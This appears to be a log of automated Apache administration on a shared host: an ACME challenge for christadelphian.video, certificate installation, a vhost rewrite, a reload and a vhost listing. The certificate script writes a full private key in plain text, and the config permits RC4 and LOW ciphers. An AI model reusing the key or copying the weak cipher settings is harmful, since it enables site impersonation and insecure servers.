2025-12-31 06:00:27: Establishing a connection
2025-12-31 06:00:27:
PUT: /tmp/pkp229180
#!/bin/bash
mkdir -p "/var/www/christadelphian_www/.well-known/acme-challenge/"
cd "/var/www/christadelphian_www/.well-known/acme-challenge/"
cat > VV_uR8pJsEr2CVMUc_w6F41yndiHtf2Fi_b22CqX8HQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
VV_uR8pJsEr2CVMUc_w6F41yndiHtf2Fi_b22CqX8HQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 VV_uR8pJsEr2CVMUc_w6F41yndiHtf2Fi_b22CqX8HQ
2025-12-31 06:00:27:
chmod 755 /tmp/pkp229180; /tmp/pkp229180; rm /tmp/pkp229180
2025-12-31 06:00:27:
2025-12-31 06:00:32: Establishing a connection
2025-12-31 06:00:32:
PUT: /tmp/pkp743370
#!/bin/bash
mkdir -p "/var/www/christadelphian_www/.well-known/acme-challenge/"
cd "/var/www/christadelphian_www/.well-known/acme-challenge/"
rm VV_uR8pJsEr2CVMUc_w6F41yndiHtf2Fi_b22CqX8HQ
2025-12-31 06:00:32:
chmod 755 /tmp/pkp743370; /tmp/pkp743370; rm /tmp/pkp743370
2025-12-31 06:00:32:
2025-12-31 06:00:32: Establishing a connection
2025-12-31 06:00:32:
PUT: /tmp/pkp575830
#!/bin/bash
temp_file=$(mktemp)
TARGET=ef56788a9be5d522516b6c274e285339.crt
cat > $temp_file <<'endmsg'
7f:d2:a4:a7:5a:98:c7:51:0b:d8:61:a2:a6:0c:9f:8b
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBjsda1yqReKzJysPfTCUnduPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjAwWhcNMjYwMzMxMDUwMTU5WjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDC7wNn7d0vyTYovzvGPJhBJXVrameunW/1KewcNL2o4qEXSkP0OVlD
DNr4jV8NRnYiOaT3F15RcHbEmGWy+7H6fquHvYIeo7nficQgb1thKfOKUhASgbSH
mymdw88ErmeBwXE3LqASSLYXzLyV8csSknW93wDCzgcCj2UhHNkq8FsyYIA/oP+2
0BDyxkVLklbnYtIAsLQur62TLIoI2OqeGOQ+sILxEZWTX+V65K9M9a4TgnMLSR3W
1XK/H3oZofQYG68darmQzGYNBoznb72bqF2quCDNI3aUg0JQWC7mucG1PAvlDVz2
UadV6MdBp1lSvcq63SXvBigX/HK5w0fxAgMBAAGjggItMIICKTAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFNBkuLHfrxOShGrasE0zWP3bmEM3MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVY2hyaXN0YWRlbHBo
aWFuLnZpZGVvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTYuY3JsMIIBDAYKKwYBBAHWeQIEAgSB
/QSB+gD4AHUAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbcv5b
qQAABAMARjBEAiAqBvVlUZbNK58NWalf8UlBL9cwgxZTEvP65a20e45xxQIgLlE/
fsNQ6kKoNOBAYZYH2dWZmxOqKK9dflPTV3EZBU0AfwBxfpXzwjiKbbHjhEk9MeFa
qWIIdi1CAOAFDNBntaZh4gAAAZty/lu8AAgAAAUABaLUnAQDAEgwRgIhAPxJAhxg
6Ezj7D69r321JClieRUA4SDIsKWkMu0IkCK1AiEAjAEMOvRWtmz6BxMhsCFky/5b
LN/MZuU6+dYY3OyttAswDQYJKoZIhvcNAQELBQADggEBAIaDOrBCXSqVbfIdi7rw
+n5tCa+k1y+geqjVQurWy459zlAQ8kYWwomrSIp/LDQZMp4PIc73N2VoOfbaAqif
VHKKRywc/ptRcUP4lxb/BVtLd91CouFhCHZE6CkJ+Zq5QLhxJLymkbNPxrskA29B
eWsRbbsGTXOdoF8gAOM5sHBBCKkBltvnndxK9IlN5Dnx+WlClk+Ozo4o6sEGRP1T
AR480UPAlJGaWAJDkBkWKuN1+cwvvHcKfPbPS24JJezSam/+5iejvomoFlpFmpTa
iSN0e/02j45iyxHDm0fc6/dDDOBmsRdITwOJcDUiYhRUpSj5R9jzDhmY1HmZJM5+
Omo=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDC7wNn7d0vyTYo
vzvGPJhBJXVrameunW/1KewcNL2o4qEXSkP0OVlDDNr4jV8NRnYiOaT3F15RcHbE
mGWy+7H6fquHvYIeo7nficQgb1thKfOKUhASgbSHmymdw88ErmeBwXE3LqASSLYX
zLyV8csSknW93wDCzgcCj2UhHNkq8FsyYIA/oP+20BDyxkVLklbnYtIAsLQur62T
LIoI2OqeGOQ+sILxEZWTX+V65K9M9a4TgnMLSR3W1XK/H3oZofQYG68darmQzGYN
Boznb72bqF2quCDNI3aUg0JQWC7mucG1PAvlDVz2UadV6MdBp1lSvcq63SXvBigX
/HK5w0fxAgMBAAECggEABTjJCafD+P5QnVhRa1l0XFW6zBZqXHGFY4Gh5yKG4cc1
DgOUXO6MBIFhEe9FjdHmoxA8v01os9FJroavk2ht0i+XpuKjIZt8r0SIlLQu9Dl0
YkREVR6U3bIWHrlf/7iFTM2dW7SmdJRD49DSoh37SjjSqclXbaB+bGmMybg1CBL4
CdezqIdp5Puj6VZdR6M6R4ljeMwuU4v226kayq7lcWIjo9LgMFQGwLSD/KyQV4JN
5xH8AHDZ7lgkDzMQynBo+VS2CnM/yJlvnYenVQY5EfDS2x0hT6c++s30X998wGsa
WwBimJcRCDhlC8ekLRhO/XJKQ/10dVsiGMTIGf9qvQKBgQD1z4c/mGcIVH05DTU1
hu8e4zKZEQE4Qbjd0lfQsHapU/M5wFqKuukJxzY1wosW1cnND/KBmHkvOm7ULB3W
Egr4GWwFAhDNLwJ8YWuD61ERriBrPmQ5EtuXgfh3PRV61ekKaTqiyj1xHnJ6QZxI
Znle071yJXWhzG2jk3hEbPvAlQKBgQDLA5fEUdzDA113mQTvcbzPbK5CN6NEBNYW
tpF1iIBfdT/ZejbPjwRJJemkqKFishw0OQi7l0O1OfML49VfnWc3biB2kn4vuXrY
xbRnV1jHiXcPuuP8nI+90WgMu1Of63U1ziO2d1Lf4W8Gjqa9krihFUbw2izX08Q1
vYNvKVSG7QKBgQCAXkViR8OezQisL6KW9oWP2tSErSW27FOPvBZSDKWbXhUKFtLx
2hRzH87GmncqkLEXXvmlBixbJqfUM8nNDpUd5aDMqLx/espQjEuqk8w9cHLLrsSG
LbvxzlUkaAj8ohNWdYfCld0qYt0jzXnBMYq2o9subjOVMH4dS5kmGsgKVQKBgQC6
M+tpp2QCgf2iinkaXYm9/oK+PWXEJ2Ntpbo4wSBtbY9Im23WZeiaZumrmvebHJ39
0CoQVSdG+4XO7ANzFV3sW1fvKWIPx+HDHWLgPh8xtQW9Kb+enMLCaWUz+EU1MrNo
zE+5NiyPJ6e7re+FhSNOq8NLefETbCpU2CPLO29J6QKBgQDWHYINhn9E9I+57RjI
FI6Hl4bp20tlRgQdgZDBVg4NjdzInh5KX4BzXQgfrUnSU0JqSbH04HF1i1fw5SnP
K0peFVSPwrihyY7gYC+I2XWPZ4hZ37+maEeqdXmrbn0dzMgoj1Tk4SLo/yo7BdLi
kzB3wp/TJISw2PQI3BIuy+upaQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-31 06:00:32:
chmod 755 /tmp/pkp575830; /tmp/pkp575830; rm /tmp/pkp575830
2025-12-31 06:00:32:
dir=/etc/ssl/certs
2025-12-31 06:00:32:
PUT: /tmp/pkp209075
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/christadelphian_www_video.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-31 06:00:32:
chmod 755 /tmp/pkp209075; /tmp/pkp209075; rm /tmp/pkp209075
2025-12-31 06:00:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf 49
<VirtualHost *:80>
ServerName christadelphian.video
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphian_www
<Directory /var/www/christadelphian_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphian/www_access.log combined
ErrorLog /var/log/apache2/christadelphian/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphian.video
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
DocumentRoot /var/www/christadelphian_www
<Directory /var/www/christadelphian_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphian/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphian/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-31 06:00:32:
PUT: /tmp/pkp657304
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphian_www_video.conf
TARGET=/etc/apache2/sites-enabled/christadelphian_www_video.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName christadelphian.video
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphian_www
<Directory /var/www/christadelphian_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphian/www_access.log combined
ErrorLog /var/log/apache2/christadelphian/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphian.video
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
DocumentRoot /var/www/christadelphian_www
<Directory /var/www/christadelphian_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphian/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphian/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/christadelphian_www_video.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphian_www_video.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphian_www_video.conf= 1'
fi
2025-12-31 06:00:32:
chmod 755 /tmp/pkp657304; /tmp/pkp657304; rm /tmp/pkp657304
2025-12-31 06:00:32:
2025-12-31 06:00:32:
PUT: /tmp/pkp739557
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-31 06:00:32:
chmod 755 /tmp/pkp739557; /tmp/pkp739557; rm /tmp/pkp739557
2025-12-31 06:00:32:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-31 06:00:32: Establishing a connection
2025-12-31 06:00:33:
PUT: /tmp/pkp588629
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-31 06:00:33:
chmod 755 /tmp/pkp588629; /tmp/pkp588629; rm /tmp/pkp588629
2025-12-31 06:00:33:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-31 06:00:33:
PUT: /tmp/pkp558908
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/christadelphian_www_video.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 06:00:33:
chmod 755 /tmp/pkp558908; /tmp/pkp558908; rm /tmp/pkp558908
2025-12-31 06:00:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf 1246
<VirtualHost *:80>
ServerName christadelphian.video
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphian_www
<Directory /var/www/christadelphian_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphian/www_access.log combined
ErrorLog /var/log/apache2/christadelphian/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphian.video
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
DocumentRoot /var/www/christadelphian_www
<Directory /var/www/christadelphian_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphian/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphian/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-31 06:00:33:
PUT: /tmp/pkp182638
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 06:00:33:
chmod 755 /tmp/pkp182638; /tmp/pkp182638; rm /tmp/pkp182638
2025-12-31 06:00:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt 5381
7f:d2:a4:a7:5a:98:c7:51:0b:d8:61:a2:a6:0c:9f:8b
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBjsda1yqReKzJysPfTCUnduPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjAwWhcNMjYwMzMxMDUwMTU5WjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDC7wNn7d0vyTYovzvGPJhBJXVrameunW/1KewcNL2o4qEXSkP0OVlD
DNr4jV8NRnYiOaT3F15RcHbEmGWy+7H6fquHvYIeo7nficQgb1thKfOKUhASgbSH
mymdw88ErmeBwXE3LqASSLYXzLyV8csSknW93wDCzgcCj2UhHNkq8FsyYIA/oP+2
0BDyxkVLklbnYtIAsLQur62TLIoI2OqeGOQ+sILxEZWTX+V65K9M9a4TgnMLSR3W
1XK/H3oZofQYG68darmQzGYNBoznb72bqF2quCDNI3aUg0JQWC7mucG1PAvlDVz2
UadV6MdBp1lSvcq63SXvBigX/HK5w0fxAgMBAAGjggItMIICKTAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFNBkuLHfrxOShGrasE0zWP3bmEM3MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVY2hyaXN0YWRlbHBo
aWFuLnZpZGVvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
